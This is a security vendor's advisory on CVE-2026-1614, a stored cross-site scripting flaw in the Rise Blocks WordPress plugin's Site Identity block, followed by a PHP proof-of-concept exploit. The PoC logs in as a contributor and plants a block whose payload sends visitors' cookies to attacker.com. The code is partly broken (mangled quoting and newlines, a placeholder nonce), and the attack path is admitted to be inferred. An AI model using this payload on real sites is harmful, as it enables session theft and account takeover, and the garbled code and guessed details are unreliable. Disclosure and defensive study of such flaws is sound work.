Atomic Edge analysis of CVE-2026-1614 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Rise Blocks – A Complete Gutenberg Page Builder WordPress plugin. The issue exists in the Site Identity block’s ‘logoTag’ attribute handling. Attackers with Contributor-level or higher permissions can inject malicious scripts into pages. These scripts execute when users view the compromised pages. The CVSS score of 6.4 reflects medium severity with network accessibility, low attack complexity, and scope change impact.
Atomic Edge research identifies the root cause as insufficient input sanitization and output escaping. The plugin fails to properly neutralize user-supplied input in the ‘logoTag’ attribute before storing it in the database. The plugin also fails to escape this data when outputting it during page rendering. These conclusions are inferred from the CWE-79 classification and vulnerability description, not confirmed via source code review. The vulnerability affects all plugin versions up to and including 3.7.
Exploitation requires an authenticated attacker with at least Contributor privileges. The attacker accesses the WordPress block editor, adds a Site Identity block to a post or page, and modifies the ‘logoTag’ attribute. The payload consists of JavaScript within the attribute value, such as 
. After saving the post, the malicious script persists in the database. The script executes in visitors’ browsers when they view the compromised page. The attack vector likely involves the WordPress REST API or admin-ajax.php endpoints that handle block attribute updates.
Remediation requires implementing proper input validation and output escaping. Developers should sanitize the ‘logoTag’ attribute value using functions like sanitize_text_field() before storage. They must escape the output during rendering using esc_attr() for HTML attributes. WordPress core functions like wp_kses() could also restrict allowed HTML tags. The patch should apply these security measures to all block attributes that accept user input.
Successful exploitation allows attackers to perform actions within the victim’s browser context. Attackers can steal session cookies, redirect users to malicious sites, or modify page content. Since Contributor-level users can create posts, this vulnerability enables privilege escalation if an administrator views a malicious post. The scope change (S:C) in the CVSS vector indicates the vulnerability can affect other site components beyond the plugin itself.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1614 - Rise Blocks – A Complete Gutenberg Page Builder <= 3.7 - Authenticated (Contributor+) Stored Cross-Site Scripting via Site Identity Block Attributes
<?php
/**
* Proof of Concept for CVE-2026-1614
* This script demonstrates authenticated stored XSS via the 'logoTag' attribute.
* Assumptions based on metadata analysis:
* 1. The plugin uses WordPress REST API or admin-ajax.php for block updates
* 2. Contributor-level authentication is required
* 3. The 'logoTag' parameter accepts unsanitized HTML/JavaScript
*/
$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'contributor_user'; // CHANGE THIS
$password = 'contributor_password'; // CHANGE THIS
// Payload to inject - steals admin cookies when page is viewed
$payload = '<img src=x onerror="javascript:var i=new Image();i.src='http://attacker.com/steal.php?c='+encodeURIComponent(document.cookie);">';
// Step 1: Authenticate to WordPress
$login_url = $target_url . '/wp-login.php';
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $login_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEJAR => 'cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_HTTPHEADER => ['Content-Type: application/x-www-form-urlencoded']
]);
$response = curl_exec($ch);
// Step 2: Create a new post with malicious block attributes
// Assuming the plugin uses REST API endpoint for block updates
$rest_url = $target_url . '/wp-json/wp/v2/posts';
$post_data = [
'title' => 'Test Post with Malicious Block',
'content' => '<!-- wp:rise-blocks/site-identity {"logoTag":"' . $payload . '"} /-->',
'status' => 'draft'
];
curl_setopt_array($ch, [
CURLOPT_URL => $rest_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_COOKIEFILE => 'cookies.txt',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => json_encode($post_data),
CURLOPT_HTTPHEADER => [
'Content-Type: application/json',
'X-WP-Nonce: ' . extract_nonce($response) // Nonce extraction function needed
]
]);
$result = curl_exec($ch);
curl_close($ch);
if (strpos($result, '"id":') !== false) {
echo "[+] Exploit successful. Post created with malicious block.n";
echo "[+] When an admin views this post, their cookies will be sent to attacker.comn";
} else {
echo "[-] Exploit failed. Check authentication and endpoints.n";
}
// Helper function to extract nonce from WordPress (simplified)
function extract_nonce($html) {
// In real PoC, parse the HTML to find wpApiSettings.nonce
return 'placeholder_nonce'; // Replace with actual extraction logic
}
?>
